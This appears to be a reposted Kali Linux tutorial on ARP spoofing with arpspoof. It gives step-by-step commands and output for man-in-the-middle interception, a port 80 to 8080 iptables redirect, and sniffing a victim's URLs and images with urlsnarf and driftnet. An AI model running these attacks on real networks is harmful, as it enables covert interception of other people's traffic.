Kali-linux Arpspoof工具

news2024/11/29 10:31:10

Arpspoof是一个非常好的ARP欺骗的源代码程序。它的运行不会影响整个网络的通信，该工具通过替换传输中的数据从而达到对目标的欺骗。本节将介绍Arpspoof工具的 使用。

9.8.1 URL流量操纵攻击

URL流量操作非常类似于中间人攻击，通过目标主机将路由流量注入到因特网。该过程将通过ARP注入实现攻击。本小节将介绍使用Arpspoof工具实现URL流量操纵攻击。使用Arpspoof工具实现URL流量操作攻击。具体操作步骤如下所示：

（1）开启路由转发功能。执行命令如下所示：

root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward

执行以上命令后，没有任何信息输出。

（2）启动Arpspoof注入攻击目标系统。攻击的方法是攻击者（192.168.6.102）发送ARP数据包，以欺骗网关（192.168.6.1）和目标系统（192.168.6.101）。下面首先欺骗目标系统，执行命令如下所示：

root@kali:~# arpspoof -i eth0 -t 192.168.6.101 192.168.6.1
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d

输出的信息显示了攻击者向目标主机192.168.6.102发送的数据包。其中50:e5:49:eb:46:8d表示攻击者的MAC地址；19:21:3f:c3:e5表示192.168.6.101的MAC地址。当以上过程攻击成功后，目标主机192.168.6.101给网关192.168.6.1发送数据时，都将发送到攻击者192.168.6.102上。

（3）使用Arpspoof注入攻击网关。执行命令如下所示：

root@kali:~# arpspoof -i eth0 -t 192.168.6.1 192.168.6.101
50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d

以上输出信息显示了攻击者向网关192.168.6.1发送的数据包。当该攻击成功后，网关192.168.6.1发给目标系统192.168.6.101上的信息发送到攻击者主机192.168.6.102上。

（4）以上步骤都执行成功后，攻击者就相当于控制了网关与目标主机传输的数据。攻击者可以通过收到的数据，查看到目标系统上重要的信息。

为了验证以上的信息，下面举一个简单的例子。

【实例9-7】通过使用Wireshark抓包验证Arpspoof工具的攻击。具体操作步骤如下所示。

（1）启动Wireshark工具。在Kali Linux桌面依次选择“应用程序”|Kali Linux|Top 10 Security Tools|wireshark命令，将显示如图9.49所示的界面。

图9.49 Wireshark启动界面

（2）在该界面Start下面，选择要捕获的接口。这里选择eth0，然后单击Start按钮，将显示如图9.50所示的界面。

图9.50 抓包界面

（3）该界面可以对Wireshark进行相关设置及启动、停止和刷新数据包。

（4）在目标系统192.168.6.101上ping网关192.168.6.1。执行命令如下所示：

C:\Users\Administrator>ping 192.168.6.1

以上命令执行完后，到Kali下查看Wireshark抓取的数据包，如图9.51所示。

图9.51 捕获的数据包

（5）该界面显示了192.168.6.101与192.168.6.1之间数据传输的过程。其中传输整个过程的编号为28-33，28-30是一个请求数据包过程，31-33是目标响应数据包过程。下面详细分析捕获的数据包。

  • 28：表示192.168.6.101（源）向192.168.6.1（目标）发送ping请求。
  • 29：表示192.168.6.102将192.168.6.101的数据包进行转发。
  • 30：表示192.168.6.102将转发后的数据包，再向192.168.6.1发送请求。
  • 31：表示目标主机192.168.6.1响应192.168.6.101的请求。
  • 32：表示该响应被发送到192.168.6.102上，此时该主机转发到192.168.6.1。
  • 33：目标主机192.168.6.1将转发的数据发送给192.168.6.101上。

9.8.2 端口重定向攻击

端口重定向又叫端口转发或端口映射。端口重定向接收到一个端口数据包的过程（如80端口），并且重定向它的流量到不同的端口（如8080）。实现这类型攻击的好处就是可以无止境的，因为可以随着它重定向安全的端口到未加密端口，重定向流量到指定设备的一个特定端口上。本小节将介绍使用Arpspoof实现端口重定向攻击。使用Arpspoof实现端口重定向攻击。具体操作步骤如下所示。

（1）开启路由转发攻击。执行命令如下所示：

root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward

（2）启动Arpspoof工具注入流量到默认网络。例如，本例中的默认网关地址为192.168.6.1。执行命令如下所示：

root@kali:~# arpspoof -i eth0 192.168.6.1

在Kali Linux上执行以上命令后，没有任何输出信息。这是Kali 1.0.6上的一个bug，因为在该系统中dsniff软件包的版本是dsniff-2.4b1+debian-22。执行arpspoof命令不指定目标系统时，只有在dsniff软件包为dsniff-2.4b1+debian-21.1上才可正常运行。

（3）添加一条端口重定向的防火墙规则。执行命令如下所示：

root@kali:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

执行以上命令后，没有任何输出。

以上设置成功后，当用户向网关192.168.6.1的80端口发送请求时，将会被转发为8080端口发送到攻击者主机上。

9.8.3 捕获并监视无线网络数据

使用中间人攻击的方法，可以使Kali Linux操作系统处在目标主机和路由器之间。这样，用户就可以捕获来自目标主机的所有数据。本小节将介绍通过使用Arpspoof工具实施中间人攻击，进而捕获并监视无线网络数据。

（1）开启路由器转发功能。执行命令如下所示：

root@Kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward

（2）使用Arpspoof命令攻击主机。执行命令如下所示：

root@kali:~# arpspoof -i eth0 -t 192.168.6.106 192.168.6.1
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:c:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:c:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:c:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:c:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:c:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:c:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:c:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:c:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:c:29:7a:59:75
......

执行以上命令表示告诉192.168.6.106（目标主机），网关的MAC地址是00:0c:29:7a:59:75（攻击主机）。当目标主机收到该消息时，将会修改ARP缓存表中对应的网关ARP条目。执行以上命令后，不会自动停止。如果不需要攻击时，按下Ctrl+C组合键停止攻击。

（3）查看目标主机访问URL地址的信息。执行命令如下所示：

root@kali:~# urlsnarf -i eth0
urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]
192.168.6.106 - - [16/Jul/2014:13:12:30 +0800] "GET http://192.168\. 6.1:1900/igd.xml HTTP/1.1" - - "-" "Microsoft-Windows/6.1 UPnP/1.0"
192.168.6.106 - - [16/Jul/2014:13:12:30 +0800] "GET http://192.168\. 6.1:1900/l3f.xml HTTP/1.1" - - "-" "Microsoft-Windows/6.1 UPnP/1.0"
192.168.6.106 - - [16/Jul/2014:13:12:30 +0800] "GET http://192.168\. 6.1:1900/ifc.xml HTTP/1.1" - - "-" "Microsoft-Windows/6.1 UPnP/1.0"
192.168.6.106 - - [16/Jul/2014:13:12:33 +0800] "GET http://192.168\. 6.1:1900/ipc.xml HTTP/1.1" - - "-" "Microsoft-Windows/6.1 UPnP/1.0"
192.168.6.106 - - [16/Jul/2014:13:12:37 +0800] "GET http://192.168\. 6.1:1900/igd.xml HTTP/1.1" - - "-" "Microsoft-Windows/6.1 UPnP/1.0"
192.168.6.106 - - [16/Jul/2014:13:12:37 +0800] "POST http://192.168\. 6.1:1900/ipc HTTP/1.1" - - "-" "Microsoft-Windows/6.1 UPnP/1.0"
192.168.6.106 - - [16/Jul/2014:13:12:37 +0800] "POST http://192.168\. 6.1:1900/ifc HTTP/1.1" - - "-" "Microsoft-Windows/6.1 UPnP/1.0"
192.168.6.106 - - [16/Jul/2014:13:12:37 +0800] "POST http://192.168\. 6.1:1900/ipc HTTP/1.1" - - "-" "Microsoft-Windows/6.1 UPnP/1.0"
192.168.6.106 - - [16/Jul/2014:13:12:37 +0800] "POST http://192.168\. 6.1:1900/ifc HTTP/1.1" - - "-" "Microsoft-Windows/6.1 UPnP/1.0"

以上输出的信息显示了目标主机访问互联网的信息。

（4）用户还可以使用Driftnet工具，捕获目标系统浏览过的图片。执行命令如下所示：

root@kali:~# driftnet -i eth0

执行以上命令后，将会打开一个窗口。当目标主机访问到网页中有图片时，将会在该窗口中显示。

（5）现在到目标主机上，访问互联网以产生捕获信息。例如，随便在目标主机上通过浏览器访问某个网页，攻击主机将显示如图9.52所示的界面。

图9.52 目标主机访问的图片

（6）该界面显示了目标主机上访问的所有图片。现在用户可以通过点击图9.52中的任何一张图片，该图片将被保存到Kali主机上。此时driftnet命令下，将会出现如下所示的信息：

root@kali:~# driftnet -i eth0
driftnet: saving `/tmp/drifnet-YbOziq/driftnet-53c9d45c168e121f.png' as `driftnet-0.png'
driftnet: saving `/tmp/drifnet-YbOziq/driftnet-53c9d45c168e121f.png' as `driftnet-1.png'
driftnet: saving `/tmp/drifnet-YbOziq/driftnet-53c9d4ca5d888a08.jpeg' as `driftnet-2.jpeg'
driftnet: saving `/tmp/drifnet-YbOziq/driftnet-53c9d4d92a6de806.png' as `driftnet-3.png'
driftnet: saving `/tmp/drifnet-YbOziq/driftnet-53c9d4d92a6de806.png' as `driftnet-4.png'
driftnet: saving `/tmp/drifnet-YbOziq/driftnet-53c9d5351a9a9e69.png' as `driftnet-5.png'

从上面可以看到，保存了driftnet捕获到的7张图片。其文件名分别为driftnet-*.png，并且这些文件默认保存当前目录下。

（7）用户可以使用Linux自带的图像查看器查看，如图9.53所示。

图9.53 捕获的图片

（8）该界面显示的是第四张图片。用户可以通过单击“下一张”或“上一张”按钮，切换捕获到的图片。

搜集整理学习路线&笔记icon-default.png?t=N4P3https://mp.weixin.qq.com/s/KQx_eIwdjCj3QdErxKb7ZQ

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/576435.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

腾讯T4大牛整理的SpringBoot文档，覆盖你认知中的所有操作

腾讯T4大牛整理的SpringBoot文档，覆盖你认知中的所有操作

SpringBoot目前的使用已经很普遍了，实际的项目中，我们需要集成各种的插件支持，不仅如此，还有很多可能我们平时不知道，但是很方便的操作。pdf里面的东西还是比较全面的。 1、关于文档 2、获得帮助 3、第一 步 4、使…
阅读更多...
【Docker】Docker最近这么火，它到底是什么

【Docker】Docker最近这么火，它到底是什么

前言 Docker 是一个开源的应用容器引擎，让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux或Windows操作系统的机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口。 📕作者简介：热…
阅读更多...
RMP软件管理、YUM源、磁盘管理。

RMP软件管理、YUM源、磁盘管理。

1、RPM软件管理 1> 通过rpm安装vsftpd软件。 去官网找到xsftpdx86的链接。 2> 查询vsftpd软件包的信息。 3> 卸载软件包vsftpd。 2、YUM软件管理 1> 挂载本地光盘，配置yum源为rhel.repo。 2> 通过yum来安装traceroute。 3> 使用yum查询ifconfig命…
阅读更多...
详解如何使用LAMP架构搭建论坛

详解如何使用LAMP架构搭建论坛

文章目录 1.LAMP概述2.编译安装Apache httpd服务1.关闭防火墙，将安装Apache所需软件包传到/opt目录下2.安装环境依赖包 3.配置软件模块4.编译及安装5.优化配置文件路径，并把httpd服务的可执行程序文件放入路径环境变量的目录中便于系统识别6.添加httpd系…
阅读更多...
位图，布隆过滤器，哈希分割

位图，布隆过滤器，哈希分割

文章目录 🚀位图💡概念💡接口操作 🚀布隆过滤器💡思想💡实现代码💡实际应用 🚀哈希分割 🚀位图 学习位图前，我们先来看一道题 用哈希表存储每个整数&#…
阅读更多...
github在线编程

github在线编程

github在线编程 文章目录 github在线编程两种区别演示项目 Ruoyi-VueGitHub Codespaces 演示github 访问项目使用 GitHubCodeSpace 打开该项目查看运行环境安装运行环境初始化myql数据安装 redis运行前端运行后端前后端运行成功测试安装相关插件 GitPod 演示 说明: 目前总结 gi…
阅读更多...
路径规划算法：基于果蝇优化的路径规划算法- 附代码

路径规划算法：基于果蝇优化的路径规划算法- 附代码

路径规划算法：基于果蝇优化的路径规划算法- 附代码 文章目录 路径规划算法：基于果蝇优化的路径规划算法- 附代码1.算法原理1.1 环境设定1.2 约束条件1.3 适应度函数 2.算法结果3.MATLAB代码4.参考文献 摘要：本文主要介绍利用智能优化算法果蝇…
阅读更多...
聚类算法学习笔记（一）

聚类算法学习笔记（一）

聚类算法学习笔记（一） 方法Euclidean Cluster [ 1 ] ^{[1]} [1]SuperVoxel [ 1 ] ^{[1]} [1]Depth Cluster [ 1 ] ^{[1]} [1]SLR: Scan-line Run [ 1 ] ^{[1]} [1]Range Image-based [ 2 ] ^{[2]} [2] 实验对比其他概念Cluster ToleranceKD-Tree Referce…
阅读更多...
95后阿里P7晒出工资单：狠补了这个，真香....

95后阿里P7晒出工资单：狠补了这个，真香....

最近一哥们跟我聊天装逼，说他最近从阿里跳槽了，我问他跳出来拿了多少？哥们表示很得意，说跳槽到新公司一个月后发了工资，月入5万多，表示很满足！这样的高薪资着实让人羡慕，我猜这是税后…
阅读更多...
Oracle Linux 9.2 发布 - Oracle 提供支持 RHEL 兼容发行版

Oracle Linux 9.2 发布 - Oracle 提供支持 RHEL 兼容发行版

Oracle Linux 9.2 发布 - Oracle 提供支持 RHEL 兼容发行版 Oracle Linux with Unbreakable Enterprise Kernel (UEK) & Red Hat compatible kernel (RHCK) 请访问原文链接：https://sysin.org/blog/oracle-linux-9/，查看最新版。原创作品&#xff…
阅读更多...
数学建模的初阶-快速上手

数学建模的初阶-快速上手

目录 第一步：明确问题 第二步：选择建模方法 第三步：收集数据 第四步：构建数学模型 第五步：模型验证与评估 数学建模软件推荐 统计模型 (1) 线性回归模型 (2) 逻辑回归模型 (3) 时间序列模型 优化模型 (1) …
阅读更多...
cuda编程学习——运行错误检测（四）

cuda编程学习——运行错误检测（四）

前言 参考资料： 高升博客 《CUDA C编程权威指南》 以及 CUDA官方文档 CUDA编程：基础与实践 樊哲勇 文章、讲解视频同步更新公众《AI知识物语》，B站：出门吃三碗饭 1:编写头文件erro.cuh 编写一个头文件（error.cuh&…
阅读更多...
LabVIEWCompactRIO 开发指南第六章38

LabVIEWCompactRIO 开发指南第六章38

LabVIEWCompactRIO 开发指南第六章38 了解数据如何在模块硬件组件和LabVIEW FPGA框图之间传输，可以帮助开发更好的程序并更快地进行调试。本节介绍不同的硬件体系结构，模拟和数字C系列I/O模块以及如何与每个模块通信。这些模块通常用于测量或控制信号&a…
阅读更多...
10. python字典

10. python字典

文章目录 一、什么是字典二、访问键-值对三、添加、修改键-值对四、删除键-值对4.1 语句del4.2 方法pop() 五、创建空字典六、遍历字典6.1方法items()6.2方法keys()6.3方法values() 七、嵌套7.1 字典列表7.2 在字典中存储列表7.3 在字典中存储字典 一、什么是字典 #创建一个字…
阅读更多...
canal server 标准化集群搭建（一）

canal server 标准化集群搭建（一）

1.背景 随这业务增加，数据同步服务 canal server 需求与日俱增，以往私搭乱建的 canal server 不符合运维标准化。 2.目的 规范 canal server 的部署，形成固定操作流程及文档 3. 环境版本 canal server： canal.deployer-1.1.…
阅读更多...
电装光庭汽车电子（武汉）有限公司

电装光庭汽车电子（武汉）有限公司

电装光庭汽车电子（武汉）有限公司 （汽车座舱显示系统，汽车电子产品及其材料和组件的开发，设计，制造，销售，批发，进出口） 一、公司介绍 电装光庭汽车电子是一…
阅读更多...
Android中使用kotlin进行xutils数据库版本升级

Android中使用kotlin进行xutils数据库版本升级

Android中使用kotlin进行xutils数据库版本升级 前言 最近的项目是一个很老的项目，数据库采用的是xutils中的数据库，之前的业务没有关于版本变更和数据库修改的业务，这次新需求数据库需要新加一张表，之前的表也需要修改字段&…
阅读更多...
2022机器学习阶段性复盘

2022机器学习阶段性复盘

2022机器学习阶段性复盘 文章目录 2022机器学习阶段性复盘一、业务洞察1.1 业务调研1.2 采样策略 一、特征工程1.1 特征筛选之iv_psi1.2 特征筛选之启发式搜索1.3 时间特征的曲率变换1.4 多重共线性特征的剔除1.5 什么样的特征适合树模型或LR模型1.5 什么样的特征是稳定可泛化特…
阅读更多...
cuda编程学习——GPU加速/时间计时Clock 干货向（五）

cuda编程学习——GPU加速/时间计时Clock 干货向（五）

前言 参考资料： 高升博客 《CUDA C编程权威指南》 以及 CUDA官方文档 CUDA编程：基础与实践 樊哲勇 文章所有代码可在我的GitHub获得，后续会慢慢更新 文章、讲解视频同步更新公众《AI知识物语》，B站：出门吃三碗饭 …
阅读更多...
路径规划算法：基于花授粉优化的路径规划算法- 附代码

路径规划算法：基于花授粉优化的路径规划算法- 附代码

路径规划算法：基于花授粉优化的路径规划算法- 附代码 文章目录 路径规划算法：基于花授粉优化的路径规划算法- 附代码1.算法原理1.1 环境设定1.2 约束条件1.3 适应度函数 2.算法结果3.MATLAB代码4.参考文献 摘要：本文主要介绍利用智能优化算法…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023